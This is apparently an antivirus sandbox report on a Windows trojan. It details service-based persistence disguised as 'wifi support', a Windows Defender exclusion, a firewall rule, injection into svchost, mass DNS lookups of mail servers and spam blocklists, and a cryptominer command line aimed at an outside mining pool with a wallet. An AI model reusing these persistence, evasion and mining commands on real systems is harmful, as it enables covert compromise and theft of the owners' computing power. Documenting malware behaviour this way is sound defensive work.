Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\ybnxiihx] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ybnxiihx] 'ImagePath' = '%WINDIR%\SysWOW64\ybnxiihx\rtounak.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\ybnxiihx] 'ImagePath' = '%WINDIR%\SysWOW64\ybnxiihx\rtounak.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ybnxiihx' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\rtounak.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\rtounak.exe to %WINDIR%\syswow64\ybnxiihx\rtounak.exe
Deletes itself.
Network activity
Connects to
- 'mx.#no.com':25
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ma###n3.rmx.de
- DNS ASK sc#####zerproject.com
- DNS ASK ne###ape.net
- DNS ASK ma##.##hweisguth.org
- DNS ASK sc###isguth.org
- DNS ASK mx.##.#tinternet.com
- DNS ASK bt###ernet.com
- DNS ASK ai#.com
- DNS ASK ma##.#lip-mail.com
- DNS ASK sf###bal.com
- DNS ASK ma##.#appyisp.com
- DNS ASK et###.#ail.tiscali.it
- DNS ASK se##am.cz
- DNS ASK ti###linet.it
- DNS ASK sf##.com
- DNS ASK ma##.acn.gr
- DNS ASK ac#.gr
- DNS ASK mx#.gmx.com
- DNS ASK gr###iti.net
- DNS ASK ea###link.net
- DNS ASK ag####raskevi.gr
- DNS ASK mx#.#ate.com
- DNS ASK na##.com
- DNS ASK sm##.##b.shawcable.net
- DNS ASK sh#w.ca
- DNS ASK mx#.#tenet.gr
- DNS ASK sm#####ke.securence.com
- DNS ASK mx#.#eznam.cz
- DNS ASK po###a.onet.pl
- DNS ASK mx.###zta.onet.pl
- DNS ASK on#.com
- DNS ASK mx#.#resnan.net
- DNS ASK br##nan.net
- DNS ASK w0#####2.kasserver.com
- DNS ASK ts###amburg.de
- DNS ASK po####.tse.gov.tr
- DNS ASK ts#.gov.tr
- DNS ASK ma####xt.rand.org
- DNS ASK ra##.org
- DNS ASK si###prim.fr
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK ya##o.it
- DNS ASK bu###czek.pl
- DNS ASK re####m.windsoc.net
- DNS ASK in###trada.it
- DNS ASK do#####b.customer.ne.jp
- DNS ASK un##s.jp
- DNS ASK mx.#p.pl
- DNS ASK wp.pl
- DNS ASK sm###.interklasa.pl
- DNS ASK in###klasa.pl
- DNS ASK aspmx.l.google.com
- DNS ASK gc#.pl
- DNS ASK mx#.#ail.qq.com
- DNS ASK fo##ail.com
- DNS ASK ma###g.az.pl
- DNS ASK ms##ft.pl
- DNS ASK ot##et.gr
- DNS ASK mx.#no.com
- DNS ASK sm###.edelkey.net
- DNS ASK mx.##.##mail.iss.as9143.net
- DNS ASK pe###epc.com
- DNS ASK ms#####p-mx1.hinet.net
- DNS ASK ms#.#inet.net
- DNS ASK an####.eurotel.sk
- DNS ASK al##eb.com
- DNS ASK mx##.#mig.gmx.net
- DNS ASK gm#.net
- DNS ASK mx#######301.gslb.pphosted.com
- DNS ASK ws#.edu
- DNS ASK mx#.mail.ru
- DNS ASK ma#l.ru
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK mx#.##rthlink.net
- DNS ASK gm##l.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK ho##ail.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK mx#.ovh.net
- DNS ASK sy###tek.org
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK ho###il.co.uk
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK mi####.bittubeapp.com
- DNS ASK ly##s.com
- DNS ASK mx.#####.#om.cust.b.hostedemail.com
- DNS ASK un##ru.com
- DNS ASK nt###rld.com
- DNS ASK mx.##timum.net
- DNS ASK op###line.net
- DNS ASK mx#######a03.gslb.pphosted.com
- DNS ASK re#.com
- DNS ASK mx#.#mpal.com
- DNS ASK em##l.com
- DNS ASK mx#.#omcast.net
- DNS ASK co##ast.net
- DNS ASK google.com
- DNS ASK mx#.#s4all.nl
- DNS ASK xs##ll.nl
- DNS ASK mx##.lolipop.jp
- DNS ASK y2##t.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ve##zon.net
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK ms##.hinet.net
- DNS ASK mx##.mail.com
- DNS ASK ma##.com
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK co#.net
- DNS ASK mx#.#aver.com
- DNS ASK na##r.com
- DNS ASK mx##.mb1p.com
- DNS ASK da##ris.com
- DNS ASK pd#####03.unicru.com
- DNS ASK hy##o.com
- DNS ASK re##x.net
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\ybnxiihx\rtounak.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ybnxiihx\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\rtounak.exe" %WINDIR%\SysWOW64\ybnxiihx\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create ybnxiihx binPath= "%WINDIR%\SysWOW64\ybnxiihx\rtounak.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description ybnxiihx "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start ybnxiihx' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ybnxiihx\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\rtounak.exe" %WINDIR%\SysWOW64\ybnxiihx\
- '%WINDIR%\syswow64\sc.exe' create ybnxiihx binPath= "%WINDIR%\SysWOW64\ybnxiihx\rtounak.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description ybnxiihx "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start ybnxiihx
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs4msiPiHNGTd5uzvZ9AGM1tjQoTiEX9BXopJg5er3ebEQ8a8mcwkjP5jNwst8rmVSRuogLs18DAVQzV76oHkVBk27idvmtUp.60000 -p x -k
